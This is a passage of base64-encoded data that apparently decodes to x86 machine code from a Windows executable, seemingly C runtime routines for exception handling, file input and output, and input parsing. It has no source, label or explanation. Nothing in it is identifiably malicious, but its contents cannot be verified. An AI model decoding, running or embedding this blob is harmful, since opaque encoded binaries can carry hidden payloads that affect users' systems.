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////7Hio17/v///sGIjXv+//+KhXr+///pzv7//4qNe/7///7P/snr44qNe/7//+vhg6U8/v//ADLAiIV4/v//hMl1GIoHPFN0C8aFe/7///88Q3UHxoV7/v//AQ+2D4PJIImNXP7//4P5bnRbg/ljdCaD+Xt0If+1bP7//42FZP7//1Dokg0AAIu1ZP7//1mJtXD+///rGP+1bP7//0aJtXD+//+JtWT+///o+vv//4vYiZ1g/v//WYP7/w+EBQ0AAIuNXP7//4uFQP7//4uVdP7//4XAdAiF0g+E1AwAAIP5bw+PtAUAAA+EzQgAAIP5Yw+EEQQAAIP5ZA+EuwgAAA+OwAUAAIP5Z34wg/lpdB2D+W4Pha0FAACAvXr+//8Ai8YPhK4LAADpwQMAAGpkX4m9XP7//+mmBgAAM/aD+y11C4uFTP7//0aIGOsFg/srdSqLvXD+//9K/7Vs/v//iZV0/v//R+g++///i9iLhUD+//9ZiZ1g/v//6waLvXD+//+FwHUHg410/v///w+2w1Do0ykAAFmLjXT+//+FwHRqi8FJiY10/v//hcB0XYuFTP7///+FRP7//4gcBo2FLP7//1CNhXz+//9GUI2FTP7//1CNhSj+//9QVuhJ+v//g8QUhcAPhNsLAAD/tWz+//9H6LL6//+L2A+2w1CJnWD+///oYSkAAFnri4uFBP7//4uAhAAAAIsAigCIhVv+//86ww+F4AAAAIvBSYmNdP7//4XAD4TPAAAA/7Vs/v//R+hj+v//i41M/v//i9iKhVv+//+JnWD+//+IBA6NhSz+//9QjYV8/v//RlCNhUz+//9QjYUo/v//UFboqfn//4PEGIXAD4Q7CwAAD7bDUOjVKAAA626LjXT+//+LwUmJjXT+//+FwHRgi4VM/v///4VE/v//iBwGjYUs/v//UI2FfP7//0ZQjYVM/v//UI2FKP7//1BW6E75//+DxBSFwA+E4AoAAP+1bP7//0fot/n//4vYD7bDUImdYP7//+hmKAAAWVmFwHWNg71E/v//AA+EYwEAAIP7ZXQJg/tFD4VVAQAAi410/v//i8FJiY10/v//hcAPhD4BAACLhUz+///GBAZljYUs/v//UI2FfP7//0ZQjYVM/v//UI2FKP7//1BW6MH4//+DxBSFwA+EUwoAAP+1bP7//0foKvn//4vYiZ1g/v//WYP7LXU5i4VM/v//iBwGjYUs/v//UI2FfP7//0ZQjYVM/v//UI2FKP7//1BW6HD4//+DxBSFwA+EAgoAAOsFg/srdTCLjXT+//+LwUmJjXT+//+FwHUIIYV0/v//6xX/tWz+//9H6Lf4//+L2FmJnWD+//8PtsNQ6GUnAADrbouNdP7//4vBSYmNdP7//4XAdGCLhUz+////hUT+//+IHAaNhSz+//9QjYV8/v//RlCNhUz+//9QjYUo/v//UFbo3vf//4PEFIXAD4RwCQAA/7Vs/v//R+hH+P//i9gPtsNQiZ1g/v//6PYmAABZWYXAdY1Pib1w/v//ib1k/v//g/v/dA7/tWz+//9T6AA5AABZWYO9RP7//wAPhCAJAACAvXr+//8AdTmLhUz+//+NjQT+////hTD+//9Ri408/v//UMYEBgAPvoVr/v//UUhQ/zUsuwQQ/xWIwQMQ/9CDxBCLvUj+//+KhXn+//+LtXD+///+wIiFef7//0fpcwgAAIXAdRFCx4VA/v//AQAAAImVdP7//4qFe/7//4TAfgfGhWr+//8Bi41w/v//i7U8/v//SYmNcP7//4mNZP7//4P7/3QU/7Vs/v//U+g/OAAAWVmLjXD+//+LvVz+//+DvUD+//8AdBeLlXT+//+LwkqJlXT+//+FwA+E3QMAAP+1bP7//0GJjXD+//+JjWT+///oC/f//4vYiZ1g/v//WYP7/w+EjQMAAIP/Y3RGg/9zdROD+wl8CYP7DQ+OdQMAAIP7IHUug/97D4VnAwAAM9KLw8H4A4vLg+EHQtPiD75MBdwPvoVb/v//M8iF0Q+EQgMAAIC9ev7//wAPhSkDAACAvWr+//8AD4QLAwAAD7bDUIidIP7//+jYCAAAWYXAdCWLhXD+////tWz+//9AiYVw/v//iYVk/v//6GL2//9ZiIUh/v//jYUE/v//x4Uc/v//PwAAAFCLhQT+////cHSNhSD+//9QjYUc/v//UOgdLwAAi5U8/v//g8QQZouFHP7//2aJAoPCAomVPP7//+mWAgAAi8GD6HAPhAcDAACD6AMPhG3+//9ISA+E/QIAAIPoAw+EGgEAAIPoA3QxD7YHO8MPheIGAACKhXn+///+yIC9ev7//wAPhQ7+//+LjRT+//+JjRj+///p/f3//4qFe/7//4TAfgfGhWr+//8BR4A/XnUIR8aFW/7///9qII1F3GoAUOjfR///g8QMgD9dD4WJAAAAsl3GRecgR+mDAAAARzwtdV+E0nRbig+A+V10VEeJvUj+//860XMEiuHrBIriitE61HMmisQPtvIqwg+2+IvWi87B6gOD4QewAdLgCEQV3EZPdeqLvUj+//8PtsywAYvRg+EHweoD0uAIRBXcMtLrHw+2yIvRiIVT/v//weoDg+EHsAHS4AhEFdyKlVP+//+KBzxdD4Vz////hMAPhPYFAACJvUj+///pU/3//4uFQP7//4P7LXUJxoVa/v//AesFg/srdRlKiZV0/v//D4WDAAAAhcB0f7ABiIV4/v//i71s/v//g/swD4XkAQAARleJtXD+//+JtWT+///oevT//4vYiZ1g/v//WYD7eA+EmQAAAID7WA+EkAAAAIuNXP7//8eFRP7//wEAAACD+Xh0TIO9QP7//wB0Dv+NdP7//3UG/oV4/v//am9ZiY1c/v//6YIBAACLvWz+//9GV4m1cP7//4m1ZP7//+gM9P//i9hZiZ1g/v//6Wj///9OibVw/v//ibVk/v//g/v/dA9XU+jTNAAAWVmLjVz+//9qMFuJnWD+///pLAEAAEZXibVw/v//ibVk/v//6Lzz//+DvUD+//8Ai9hZiZ1g/v//dBqLhXT+//+D6AKJhXT+//+D+AF9Bv6FeP7//2p46Vj///+LhTz+//+IGECJhTz+///rAUaLjXD+///pKfz//4uFcP7//0iJhXD+//+JhWT+//+D+/90Dv+1bP7//1PoNjQAAFlZi4U8/v//O/APhFUEAACAvXr+//8AD4Vq+////4Uw/v//g/9jD4Rb+///gL1q/v//AIu9SP7//3QKM8lmiQjpSPv//8YAAOlA+///xoVr/v//AYuFQP7//4P7LXUJxoVa/v//AesFg/srdThKiZV0/v//dQiFwHQEsAHrLf+1bP7//0aJtXD+//+JtWT+///osvL//4vYWYmdYP7//4uNXP7//4qFeP7//4O9JP7//wAPhHwBAACEwA+FPQEAAIP5eHRng/lwdGIPtsNQ6DUhAACLvVz+//9ZhcAPhPkAAACD/291JIP7OA+N6wAAAIuFVP7//4uNOP7//w+kyAOJhVT+///B4QPrbYuNVP7//2oAagpRi404/v//UegPWv//i8iJlVT+///rTA+2w1DoKSEAAFmFwA+ElwAAAIuFOP7//4uNVP7//w+kwQRTweAEiY1U/v//iYU4/v//6MTx//+LvVz+//+L2FmLjTj+//+JnWD+////hUT+//+NQ9CZA8iLhVT+//+JjTj+//8TwoO9QP7//wCJhVT+//90CP+NdP7//3Rm/7Vs/v//Rom1cP7//4m1ZP7//+iH8f//WYuNXP7//4vYiZ1g/v//6ev+//+LvVz+//9OibVw/v//ibVk/v//g/v/dBb/tWz+//9T6D0yAABZWesGi71c/v//i404/v//i4VU/v//gL1a/v//AA+EJwEAAPfZiY04/v//g9AA99iJhVT+///pDwEAAITAD4XqAAAAg/l4dD+D+XB0Og+2w1DouR8AAIu9XP7//1mFwA+EpgAAAIP/b3UUg/s4D42YAAAAi4U0/v//weAD6zlrhTT+//8K6zAPtsNQ6NUfAABZhcB0cMGlNP7//wRT6Izw//+LvVz+//+L2IuFNP7//1mJnWD+////hUT+//+DwNADw4O9QP7//wCJhTT+//90CP+NdP7//3Rg/7Vs/v//Rom1cP7//4m1ZP7//+he8P//WYuNXP7//4vYiZ1g/v//6T7///+LvVz+//9OibVw/v//ibVk/v//g/v/dBb/tWz+//9T6BQxAABZWesGi71c/v//i4U0/v//gL1a/v//AHQI99iJhTT+//+D70b33xv/I71E/v//D4QPAQAAgL16/v//AA+FJPj///+FMP7//4u9SP7//4uFNP7//4O9JP7//wB0HIuFPP7//4uNOP7//4kIi41U/v//iUgE6fP3//+KjWv+//+EyYuNPP7//3QHiQHp3Pf//2aJAenU9///OsF1BjhPAXUBR/+1bP7//0aJtXD+//+JtWT+///obe///4vYD7YHR4mdYP7//1k7w3VmD7bDUOimAQAAWYXAdCD/tWz+///oQ+///1kPtg9HO8h1KIm1cP7//4m1ZP7//4P7/3ULgD8ldUGAfwFudTuKB4TAD4Vr8P//6y+LtWz+//+D+P90CVZQ6O4vAABZWYP7/3QWVusLg/v/dA7/tWz+//9T6NMvAABZWYO9LP7//wF1DP+1TP7//+hDNP//WYuNMP7//4PI/zvYdQyFyXUIOI15/v//dAKLwYC9EP7//wB0CouNDP7//4NhcP1ei038XzPNW+h0fP//i+Vdw1WL7FNWi3UI/3UM/wbofe7//4vYWYP7/3QOD7bLUehXHQAAWYXAdeBei8NbXcNVi+xWi3UIhfZ0G2rgM9JY9/Y7RQxzD+hGd///xwAMAAAAM8DrUQ+vdQyF9nUBRjPJg/7gdxVWagj/NWjQBBD/FZTBAxCLyIXJdSqDPaDWBBAAdBRW6C18//9ZhcB10ItFEIXAdLzrtItFEIXAdAbHAAwAAACLwV5dw1WL7IPsEP91DI1N8OhyMP//i0UID7bIi0Xwi4CQAAAAD7cESCUAgAAAgH38AHQHi034g2Fw/YvlXcNVi+xqAP91COi5////WVldw1WL7FFRofC6BBAzxYlF/FNWi3UYV4X2fiGLRRSLzkmAOAB0CECFyXX1g8n/i8YrwUg7xo1wAXwCi/CLTSQz/4XJdQ2LRQiLAItABIvIiUUkM8A5RShqAGoAVv91FA+VwI0ExQEAAABQUf8VfMEDEIvIiU34hcl1BzPA6XEBAAB+V2rgM9JY9/GD+AJySwPJjUEIO8F2P4tF+I0ERQgAAAA9AAQAAHcT6MkuAACL3IXbdB7HA8zMAADrE1DoiDL//4vYWYXbdAnHA93dAACDwwiLTfjrBYtN+DPbhdt0mlFTVv91FGoB/3Uk/xV8wQMQhcAPhPAAAACLdfhqAGoAVlP/dRD/dQzotg8AAIv4g8QYhf8PhM8AAAD3RRAABAAAdCyLTSCFyQ+EuwAAADv5D4+zAAAAUf91HFZT/3UQ/3UM6HwPAACDxBjpmgAAAIX/fk9q4DPSWPf3g/gCckONDD+NQQg7wXY5jQR9CAAAAD0ABAAAdxPo+y0AAIv0hfZ0Z8cGzMwAAOsTUOi6Mf//i/BZhfZ0UscG3d0AAIPGCOsCM/aF9nRBi0X4V1ZQU/91EP91DOgJDwAAg8QYhcB0ITPAUFA5RSB1BFBQ6wb/dSD/dRxXVlD/dST/FXjBAxCL+FboZAAAAFlT6F0AAABZi8eNZexfXluLTfwzzeh9ef//i+Vdw1WL7IPsEP91CI1N8OgjLv///3UojUXw/3Uk/3Ug/3Uc/3UY/3UU/3UQ/3UMUOjK/f//g8QkgH38AHQHi034g2Fw/YvlXcNVi+yLRQiFwHQSg+gIgTjd3QAAdQdQ6Ksw//9ZXcNVi+yLVQyhoL0EEPfSi00II9AjTQwL0YkVoL0EEF3D6E7J//+FwHQIahbobMn//1n2BaC9BBACdCFqF+gDVQAAhcB0BWoHWc0pagFoFQAAQGoD6DZ5//+DxAxqA+g5QP//zFWL7FFRgz0U7wQQAHUF6Ap+//9TVldoBAEAAL+42QQQM9tXU4gdvNoEEP8V+MADEIs15N4EEIk9+M8EEIX2dAQ4HnUCi/eNRfhQjUX8UFNTVuhdAAAAi138g8QUgfv///8/c0WLTfiD+f9zPY0UmTvRcjZS6KvH//+L+FmF/3QpjUX4UI1F/FCNBJ9QV1boIAAAAItF/IPEFEiJPejPBBCj5M8EEDPA6wODyP9fXluL5V3DVYvsi0UUU4tdGFaLdQhXgyMAi30QxwABAAAAi0UMhcB0CIk4g8AEiUUMM8mJTQiAPiJ1ETPAhckPlMBGi8iwIolNCOs1/wOF/3QFigaIB0eKBkaIRRsPtsBQ6B8sAABZhcB0DP8Dhf90BYoGiAdHRopFG4TAdBmLTQiFyXWxPCB0BDwJdamF/3QHxkf/AOsBToNlGACAPgAPhMoAAACKBjwgdAQ8CXUDRuvzgD4AD4S0AAAAi1UMhdJ0CIk6g8IEiVUMi0UU/wAz0kIzyesCRkGAPlx0+YA+InUz9sEBdR+DfRgAdAyNRgGAOCJ1BIvw6w0zwDPSOUUYD5TAiUUY0enrC0mF/3QExgdcR/8Dhcl18YoGhM